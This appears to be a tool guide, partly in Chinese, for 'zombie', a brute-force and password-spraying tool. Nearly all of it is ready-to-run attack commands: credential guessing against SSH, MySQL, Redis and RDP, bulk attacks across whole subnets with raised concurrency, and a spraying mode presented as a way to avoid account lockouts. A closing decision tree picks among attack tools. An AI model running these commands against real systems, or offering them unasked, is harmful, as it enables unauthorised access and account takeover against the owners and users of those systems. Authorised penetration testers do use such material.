zombie-brute

zombie multi-protocol brute force

zombie focuses onthe efficiency and coverage of brute force—supports 20+ protocols, built-in smart dictionary generation, and credential spraying mode (one password tried against all users, avoiding lockouts).

Project address:https://github.com/chainreactors/zombie

Basic usage

# SSH 暴力破解
zombie -i 10.0.0.1 -s ssh -u root -P passwords.txt

# 指定用户名和密码文件
zombie -i 10.0.0.1 -s ssh -U users.txt -P passwords.txt

# MySQL 暴力破解
zombie -i 10.0.0.1 -s mysql -u root -P passwords.txt

Redis unauthorized access + password detection

zombie -i 10.0.0.1 -s redis -P passwords.txt

RDP brute force

zombie -i 10.0.0.1 -s rdp -u administrator -P passwords.txt

## 批量目标

```bash
# 从文件读取目标（每行 ip:port）
zombie -l targets.txt -s ssh -U users.txt -P passwords.txt

# 网段扫描 + 爆破
zombie -i 10.0.0.0/24 -s ssh -u root -p admin123

# 多协议同时爆破
zombie -i 10.0.0.1 -s ssh,mysql,redis,ftp -U users.txt -P passwords.txt

Credential spraying mode

Credential spraying (one password tried against all users) is safer than traditional brute forcing (one user tried against all passwords)—it is less likely to trigger account lockouts:

# 喷洒模式
zombie -i 10.0.0.0/24 -s smb -U domain_users.txt -p 'P@ssw0rd' --spray

# 多密码喷洒（每轮一个密码）
zombie -i 10.0.0.0/24 -s smb -U domain_users.txt -P top10.txt --spray

Concurrency and timeout

# 调整并发线程（默认 10）
zombie -i 10.0.0.0/24 -s ssh -u root -P passwords.txt -t 50

# 超时设置（秒）
zombie -i 10.0.0.1 -s rdp -u admin -P passwords.txt --timeout 10

# 成功后停止
zombie -i 10.0.0.1 -s ssh -u root -P passwords.txt --stop-on-success

Supported protocols

SSH, FTP, MySQL, MSSQL, PostgreSQL, Redis, MongoDB, Memcached, SMB, RDP, VNC, SNMP, LDAP, SMTP, POP3, IMAP, HTTP-Basic, HTTP-Form, Telnet, Oracle

Decision tree

需要爆破什么？
├─ 单协议爆破 + 简单场景 → zombie / hydra 都行
├─ 多协议批量 + 大规模 → zombie（更快、协议更全）
├─ 域环境凭据喷洒 → zombie --spray 或 nxc
├─ 需要内网综合扫描+弱口令 → fscan（集成扫描+爆破）
└─ Web 表单爆破 → zombie / hydra / ffuf